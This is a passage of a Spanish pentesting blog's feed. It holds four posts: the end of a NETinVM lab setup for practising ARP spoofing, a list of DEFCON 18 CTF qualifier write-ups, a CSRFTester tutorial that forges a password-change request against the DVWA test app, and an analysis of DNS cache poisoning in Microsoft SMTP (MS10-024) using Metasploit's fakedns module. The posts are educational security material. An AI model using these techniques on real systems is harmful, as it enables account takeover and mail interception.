justify;"&gt;Para hacerlo, la manera más fácil es realizar una copia del fichero &lt;b&gt;/home/user1/uml/bin/uml.sh&lt;/b&gt; a, por ejemplo, /home/user1/uml/bin/uml512.sh (lo lógico es poner un nombre representativo de la cantidad de memoria que le vamos a asignar) y editar este último fichero, en el que podremos leer las siguientes lineas:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;# Virtual machine configuration&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;XTERM=terminal.sh&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;MEM=128M&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A simple vista podemos ver que cambiando el valor de la variable MEM podemos cambiar la cantidad de memoria asignada a la máquina. En nuestro caso, lo cambiamos por 512M y guardamos los cambios.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por último, tenemos que elegir cual de las máquinas que arrancamos va a tener esta configuración "especial", y eso lo tendremos que hacer editando uml_run_all.sh, tal y como hacíamos antes, y cambiar la llamada a uml.sh por uml512.sh en aquellas máquinas a las que queramos aumentarlas la memoria. Por ejemplo, en un caso en el que queramos hacer pruebas con el Snort del firewall podríamos querer disponer en esta máquina de más memoria.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;uml512.sh -d 4 fw&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 2 a ext&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 8 a in&lt;/i&gt;t&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por supuesto, a la hora de asignar una memoria distinta a las máquinas, tened en cuenta que la memoria asignada a la máquina virtual SuSe que lo contiene todo la tenga disponible, sino tendréis que aumentar ésta también.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;Switches en modo Switch o Hub&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por defecto, imagino que para facilitar los ejercicios de sniffing, los switches virtuales se encuentran configurados en modo hub, por lo que todo el tráfico que envía cada una de las máquinas UML llega al resto de máquinas que se encuentran en la misma LAN. Esto, sin embargo, puede ser un problema si queremos realizar técnicas de MitM como por ejemplo ARP-Spoofing, ya que nos vemos el comportamiento real que tendría un switch.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para hacer que los switches funcionen de su forma habitual, tendremos que editar el fichero &lt;b&gt;/home/user1/uml/bin/uml_switch.sh&lt;/b&gt; y buscar la cadena "hub", con lo que nos encontraremos con la siguiente linea:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;COMMAND="$UML_SWITCH -unix $SOCKET -hub -tap $TAP &gt;/dev/null 2&gt;&amp;amp;1"&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para cambiar el funcionamiento de hub a switch solo tenemos que eliminar la opción -hub de la llamada y guardar los cambios, y así la siguiente vez que arranquemos todos los switches funcionarán de la manera esperada&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En próximos posts veréis como utilizamos esta herramienta, con alguna de las modificaciones que os acabamos de comentar, para demostrar un par de técnicas que nos vinieron a la cabeza al ver los &lt;a href="http://www.pentester.es/2010/05/defcon18-ctf-prequals-writeups.html"&gt;retos de las Quals de la Defcon&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-7518486632116001002?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/06/netinvm-red-en-una-maquina-virtual.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-4192579709575821419</guid><pubDate>Tue, 25 May 2010 07:28:00 +0000</pubDate><atom:updated>2010-06-02T15:24:09.808+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">DefCon</category><title>Defcon18 CTF PreQuals: WriteUps (Soluciones)</title><description>&lt;div style="text-align: justify;"&gt;Tanto si has participado como si no, siempre es interesante ver las soluciones de otros, como han resuelto aquello en lo que te quedaste enganchado, o simplemente intentar pensar si lo hubieras podido resolver si hubieras participado (aunque para este caso siempre somos un poco "sobrados", cuando otro nos dice la solución siempre parece muy fácil :P&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Bueno, el caso es que las PreQuals del CTF de la Defcon18 acabaron ayer a las 04:00 de la mañana, y en estos momentos llevamos unas cuantas horas que diversos participantes están publicando sus soluciones, así que me ha parecido interesante hacer una pequeña recopilación que iremos completando según vayan saliendo soluciones. Por supuesto, dejad comentarios si veis más soluciones que merece la pena incluir :)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S_uGOy7O_yI/AAAAAAAAAZs/zlE-2rdlb1o/s1600/defcon.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 257px;" src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S_uGOy7O_yI/AAAAAAAAAZs/zlE-2rdlb1o/s400/defcon.png" alt="" id="BLOGGER_PHOTO_ID_5475117360745479970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Allá vamos, por categorías, que como ya sabeis están puntuadas de 100 a 500 en función de la dificultad:&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Pursuit Trivial&lt;/span&gt;:&lt;span&gt;&lt;span&gt; &lt;a href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-100.html"&gt;100&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://n.pentest.jp/?p=691"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;, &lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;a href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-200.html"&gt;200&lt;/a&gt;,&lt;/span&gt;&lt;/span&gt; &lt;span&gt;&lt;span&gt;&lt;a href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/Defcon_CTF_Quals_2010_Writeups-PursuitsTrivial-300.html"&gt;300&lt;/a&gt;,&lt;/span&gt;&lt;/span&gt; &lt;a href="http://cvk.posterous.com/defcon-18-quals-pt400-walkthrough"&gt;400&lt;/a&gt;, &lt;a href="http://scott.wolchok.org/ctf2010/t500.html"&gt;500&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Crypto Badness&lt;/span&gt;: &lt;a href="http://www.nth-dimension.org.uk/blog.php?id=83"&gt;100&lt;/a&gt;, &lt;a href="http://forensic-proof.com/84"&gt;&lt;/a&gt;&lt;a href="http://www.painsec.com/writeups/defcon18-crypt200.pdf"&gt;200&lt;/a&gt;, &lt;a href="http://forensic-proof.com/86"&gt;300&lt;/a&gt;, &lt;span&gt;&lt;span&gt;&lt;a href="http://barok.foi.hr/%7Etkisason/"&gt;400&lt;/a&gt;,&lt;/span&gt;&lt;/span&gt; 500&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Packet Madness&lt;/span&gt;: &lt;a href="http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-packet-100.html"&gt;100&lt;/a&gt;, &lt;a href="http://scott.wolchok.org/ctf2010/pkt200.html"&gt;200&lt;/a&gt;, &lt;a href="http://stalkr.net/files/defcon/2010/quals/packet300/"&gt;300&lt;/a&gt;, &lt;a href="http://lollersk8ers.fatihkilic.de/2010/05/defcon-18-ctf-writeup-packet-madness.html"&gt;400&lt;/a&gt;, 500&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Binary L33tness&lt;/span&gt;: &lt;a href="http://ezbeat.tistory.com/234"&gt;100&lt;/a&gt;, 200, &lt;a href="http://scott.wolchok.org/ctf2010/b300.html"&gt;300&lt;/a&gt;, &lt;a href="http://blog.zynamics.com/2010/06/02/defcon-ctf-bin400-writeup/"&gt;400&lt;/a&gt;, &lt;a href="http://lollersk8ers.fatihkilic.de/2010/05/defcon-18-ctf-writeup-binary-l33tness.html"&gt;500&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Pwtent Pwnables&lt;/span&gt;:&lt;a href="http://coma.0x3f.net/ctf/defcon-quals-pp100-writeup/"&gt;100&lt;/a&gt;, &lt;a href="http://scott.wolchok.org/ctf2010/pp200.html"&gt;200&lt;/a&gt;, &lt;a href="http://securityblackswan.blogspot.com/2010/05/lets-solve-this-challenge.html"&gt;300&lt;/a&gt;, &lt;a href="http://shallweplayaga.me/pwnable/"&gt;400&lt;/a&gt;, 500&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Forensics&lt;/span&gt;: &lt;a href="http://scott.wolchok.org/ctf2010/f100.html"&gt;100&lt;/a&gt;, &lt;a href="http://www.nth-dimension.org.uk/blog.php?id=84"&gt;200&lt;/a&gt;, &lt;a href="http://forensic-proof.com/89"&gt;300&lt;/a&gt;, &lt;a href="http://scott.wolchok.org/ctf2010/f400.html"&gt;400&lt;/a&gt;, &lt;a href="http://scott.wolchok.org/ctf2010/f500.html"&gt;500&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;También se han publicado &lt;a href="http://www.screentoaster.com/user?username=vos"&gt;algunos videos&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Si alguien encuentra por ahí algún WriteUp para los que faltan, o una solución mejor o mejor explicada a los que hay aquí, que ponga un comentario y lo cambiamos.&lt;br /&gt;&lt;br /&gt;Gracias también a todas las personas a las que sigo en Twitter, y a Google, sin cuya colaboración este post no sería posible :P A ver si lo conseguimos completar entre todos.&lt;br /&gt;&lt;br /&gt;Desde &lt;a href="http://www.pentester.es/"&gt;Pentester.Es&lt;/a&gt;, enhorabuena a &lt;a href="http://www.ddtek.biz/qualsDC18scores.txt"&gt;aquellos equipos que se han clasificado&lt;/a&gt; para la final en Las Vegas.&lt;br /&gt;Mucha suerte!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-4192579709575821419?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/05/defcon18-ctf-prequals-writeups.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_Jx-hAg65Epo/S_uGOy7O_yI/AAAAAAAAAZs/zlE-2rdlb1o/s72-c/defcon.png" height="72" width="72" /><thr:total>21</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6151704248753562400</guid><pubDate>Wed, 19 May 2010 05:00:00 +0000</pubDate><atom:updated>2010-05-19T07:55:18.547+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>Creando PoC CSRF: CSRFTester 1.0</title><description>&lt;div style="text-align: justify;"&gt;Todos o casi todos conoceréis el proyecto &lt;a href="http://www.owasp.org/"&gt;OWASP&lt;/a&gt; dada su relevancia hoy en día y por el gran trabajo que están realizando todos los participantes de este proyecto. Dentro de la multitud de proyectos, existe uno con nombre &lt;a href="http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project"&gt;"OWASP CSRFTester Project"&lt;/a&gt;. Este proyecto tiene como objetivo ofrecer una herramienta a los desarrolladores para testear sus aplicaciones frente a vulnerabilidades del tipo &lt;a href="http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery"&gt;CSRF&lt;/a&gt; (&lt;i&gt;Cross-Site Request Forgery&lt;/i&gt;).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Entre la gran variedad de documentación sobre CSRF podéis consultar la guía de OWASP en la prueba &lt;a href="http://www.owasp.org/index.php/Testing_for_CSRF_%28OWASP-SM-005%29"&gt;OWASP-SM-005&lt;/a&gt; para entender bien la técnica (está muy bien explicado :D, por lo que no entraremos en esta entrada). Una vez leído y entendido pasamos a crear una prueba de concepto.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Para variar (jijijiji), usaremos la aplicación DVWA para atacarla; ya habéis visto que es una de mis favoritas:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S-CR0i0OHVI/AAAAAAAAAYg/4c6zrx5icp8/s1600/dvwa.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S-CR0i0OHVI/AAAAAAAAAYg/4c6zrx5icp8/s400/dvwa.png" alt="" id="BLOGGER_PHOTO_ID_5467530279512841554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como vemos en la aplicación existe un ejemplo para probar un ataque de CSRF. Así que vamos a crear una prueba de concepto con CSRFTester para aprovecharla.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S-CSq5DDG3I/AAAAAAAAAYo/qbdtkkM7iN4/s1600/funcionalidad-csrf.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S-CSq5DDG3I/AAAAAAAAAYo/qbdtkkM7iN4/s400/funcionalidad-csrf.png" alt="" id="BLOGGER_PHOTO_ID_5467531213193550706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;En la imagen anterior se ve como la funcionalidad bajo el menú CSRF permite cambiar la contraseña introduciéndo dos veces la nueva contraseña. Una vez vista la funcionalidad de la aplicación que queremos que ejecute la víctima sin darse cuenta, arrancamos CSRFTester para construir la prueba de concepto. La herramienta se pondrá a escuchar en el puerto 8008 por defecto:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S-CXpnh8tDI/AAAAAAAAAYw/jYaWHVfQo1A/s1600/csrftester8008.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 305px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S-CXpnh8tDI/AAAAAAAAAYw/jYaWHVfQo1A/s400/csrftester8008.png" alt="" id="BLOGGER_PHOTO_ID_5467536688869585970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;Ahora configuramos el proxy del navegador a la ip donde hemos levantado CSRFTester y el puerto 8008 (en este caso localhost:8008). Una vez hecho esto arrancamos la herramienta con el botón "Start Recording"; rellenamos los campos del formulario de la funcionalidad y presionamos el botón de "Change", con lo que registraremos un petición en CSRFTester:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S-CZvxx7l2I/AAAAAAAAAY4/AJcZ-DQj83Q/s1600/csrftestercapturepeticion.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 292px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S-CZvxx7l2I/AAAAAAAAAY4/AJcZ-DQj83Q/s400/csrftestercapturepeticion.png" alt="" id="BLOGGER_PHOTO_ID_5467538993723447138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;Acto seguido presionamos el botón "Generate HTML", seleccionando por ejemplo "Report type &gt; Form", obteniendo el siguiente resultado en formato html:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S-CeqKQJRgI/AAAAAAAAAZI/N5Z_Wme8rXs/s1600/csrfjejemplohtml.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 217px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S-CeqKQJRgI/AAAAAAAAAZI/N5Z_Wme8rXs/s400/csrfjejemplohtml.png" alt="" id="BLOGGER_PHOTO_ID_5467544394771547650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Si una víctima visita este ejemplo de página web y está a su vez autenticado en la aplicación se cambiará la contraseña sin su consentimiento y de manera automática. Como véis el objetivo del post es que podáis hacer de la manera más rapida posible pruebas de concepto sobre CSRF.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como siempre espero que os sea de utilidad, tanto a desarrolladores como pentesters.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6151704248753562400?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/05/creando-poc-csrf-csrftester-10.html</link><author>noreply@blogger.com (José Miguel Holguín)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S-CR0i0OHVI/AAAAAAAAAYg/4c6zrx5icp8/s72-c/dvwa.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1231755112933385487</guid><pubDate>Tue, 11 May 2010 05:26:00 +0000</pubDate><atom:updated>2010-05-11T07:34:27.825+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><category domain="http://www.blogger.com/atom/ns#">SeguridadRedes</category><title>DNS Poisoning sobre Microsoft SMTP</title><description>&lt;div style="text-align: justify;"&gt;Hace unos días, la gente de &lt;a href="http://www.coresecurity.com/"&gt;Core Security&lt;/a&gt; publicaba en su web un &lt;a href="http://www.coresecurity.com/content/CORE-2010-0424-windows-smtp-dns-query-id-bugs"&gt;Advisory&lt;/a&gt; en el que comentaban haber descubierto la corrección de dos vulnerabilidades de gran importancia en los servicios SMTP de Microsoft. Según parece, Microsoft corrigió estas vulnerabilidades en el&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms10-024.mspx"&gt; parche &lt;b&gt;MS10-024&lt;/b&gt;&lt;/a&gt;, pero sin notificar su existencia ni su criticidad, ya que el "Maximum Security Impact" (impacto de seguridad máximo) de dicho parche era de Denegación de Servicio, lo cual parece no ser exacto a tenor del descubrimiento del equipo de Core Security.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Según el Advisory, las vulnerabilidades consisten en la utilización por parte de los servicios Microsoft SMTP y Exchange de una rutina propia para la resolución de nombres DNS a la hora de realizar el envío de correos electrónicos, la cual presentaba 2 vulnerabilidades que podrían permitir a un atacante realizar un envenenamiento de la caché del servidor de correo, y por tanto provocar una redirección del correo con destino al dominio envenenado a un servidor arbitrario (controlado por un atacante, claro). Veamos las vulnerabilidades:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;1. Predecibilidad en los IDs:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El problema de predecibilidad en los IDs de DNS fue corregido por la mayoría de los fabricantes allá por el 2008, con la aparición del famoso &lt;a href="http://www.pentester.es/2008/10/vulnerabilidad-dan-kaminsky-i.html"&gt;Ataque Kaminsky&lt;/a&gt; del que &lt;a href="http://www.pentester.es/2008/10/vulnerabilidad-dan-kaminsky-i.html"&gt;ya hablamos&lt;/a&gt; en u&lt;a href="http://www.pentester.es/2008/11/vulnerabilidad-dan-kaminsky-ii.html"&gt;n par de ocasiones&lt;/a&gt; y que causó tanto revuelo en aquel momento debido a su criticidad. Sin embargo, esta rutina empleada por los servicios SMTP de Microsoft ha mantenido este problema hasta la aparición del pache MS10-024.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para comprobar esta vulnerabilidad y verla con nuestros propios ojos, podemos realizar una sencilla prueba empleando el módulo de Metasploit &lt;b&gt;server/fakedns&lt;/b&gt;, el cual nos va a permitir levantar un servicio DNS que devuelva ante todas las peticiones la respuesta que nosotros queremos, pero esa funcionalidad en estos momentos no nos interesa, sino que nos basta con poder ver el log que deja ante dichas peticiones, para observar la aleatoriedad de los IDs, puertos, etc.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;# &lt;b&gt;./msfconsole&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;msf &gt; &lt;b&gt;use server/fakedns&lt;/b&gt;&lt;/div&gt;&lt;div&gt;msf auxiliary(fakedns) &gt; &lt;b&gt;set TARGETHOST 172.16.24.150&lt;/b&gt;&lt;/div&gt;&lt;div&gt;TARGETHOST =&gt; 172.16.24.150&lt;/div&gt;&lt;div&gt;msf auxiliary(fakedns) &gt; &lt;b&gt;run&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En ese momento Metasploit nos devuelve el control de la consola, pero nuestro servicio se ha quedado ya a la escucha y nos va a ir logando por pantalla toda la información que queremos, así que solo tenemos que ir a un sistema Windows (en mi caso un Windows 2003 Server) y realizar dos sencillas prueba: en primer lugar abrimos un cmd.exe y resolvemos el nombre de varios dominios aleatoriamente, los que prefiramos, y en segundo lugar nos conectamos al puerto 25 de dicho servidor e intentamos mandar un correo electrónico a cuentas de dominios igualmente aleatorios. Tras hacer ambas pruebas, el resultado en nuestro servidor Fake DNS es el siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S-jjRuJYqbI/AAAAAAAAAY0/fzYRA0E0eQc/s1600/CAPT001.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S-jjRuJYqbI/AAAAAAAAAY0/fzYRA0E0eQc/s400/CAPT001.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5469871641026144690" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 334px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como se puede observar, en las primera pruebas (desde cmd.exe) vemos que el ID (marcado como XID) es aleatorio, o al menos no parece visiblemente predecible (luego nunca se sabe, que se lo digan a los de Debian). Sin embargo, en la segunda tanda de pruebas (desde el servidor SMTP) vemos que la generación de los XID es claramente diferente. Podemos ver marcado en rojo como el XID inicial es 1 (la máquina se acababa de arrancar), y que sucesivamente se ha ido incrementando con cada petición, aunque hayamos cambiado de dominio, por lo que os podéis imaginar que la predecibilidad es total.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Además, si pegamos un vistazo a los puertos de origen (marcados en azul) vemos que tampoco se ha hecho un gran esfuerzo por hacerlo aleatorio, ya que podemos observar que son casi secuenciales (seguramente el puerto que falta entre medias es el intento de conexión SMTP o similar).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por lo tanto, si tanto el ID como el puerto de origen son algo trivialmente predecible y son la única medida que protege al protocolo DNS de la realización de ataques de DNS Spoofing... nos encontramos con que, al igual que sucedía con el Ataque Kaminsky, es posible lanzar una ráfaga de paquetes con IP y puerto de origen falseado que contentan una resolución falsa que nos permita, en este caso, redirigir TODOS los correos enviados a un dominio a un servidor de nuestra elección.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style=" ;font-size:large;"&gt;2. No utilización de los IDs para validar la respuesta:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Yo me quedé de piedra con esta. Como lo oís: además de generar los IDs de forma secuencial... directamente no se comprueba que la respuesta DNS tenga el mismo ID que fue generado para la petición DNS, así que el ataque anterior se acaba de volver mucho más sencillo, ya que no es necesario intentar obtener el último ID utilizado para realizar el ataque, sino simplemente el último puerto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para comprobarlo, realizamos una pequeña modificación en el módulo de Metasploit que ya utilizamos anteriormente, el &lt;b&gt;server/fakedns&lt;/b&gt;. Este módulo, toma la petición que le enviamos, le incorpora un campo donde se encuentra la resolución solicitada y quizá algún campo ocasional, y lo devuelve al origen de la petición, conservando en todo momento el ID con el que llegó dicha petición. Para ver con nuestros propios ojos esto de que el servicio SMTP de Microsoft no hace ni caso del ID vamos a realizar una modificación de este módulo para hardcodear el valor del ID, de tal manera que forcemos que las respuestas tengan un ID diferente a las peticiones. Para ello, partiendo del directorio raíz de Metasploit (donde está msfconsole), editamos el fichero &lt;b&gt;modules/auxiliary/server/fakedns.rb&lt;/b&gt; y buscamos la cadena "send", lo cual nos llevará a la instrucción en la que la respuesta es enviada. Una vez en esa zona del código, introducimos la siguiente modificación:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S-jozdoEqHI/AAAAAAAAAY8/yh8CETAmmEw/s1600/CAPT003.png" style="text-decoration: none;"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S-jozdoEqHI/AAAAAAAAAY8/yh8CETAmmEw/s400/CAPT003.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5469877718265145458" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 135px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta modificación lo que nos permite es fijar el valor del ID de los paquetes de respuesta a "69" (por ejemplo :P), independientemente del origen. Veamos ahora si sigue funcionando (recordad reiniciar Metasploit para que se vuelva a cargar este módulo, sino no va a funcionar):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S-jpa0tQAeI/AAAAAAAAAZE/Id6KK4gSEV0/s1600/CAPT002.png"&gt;&lt;img 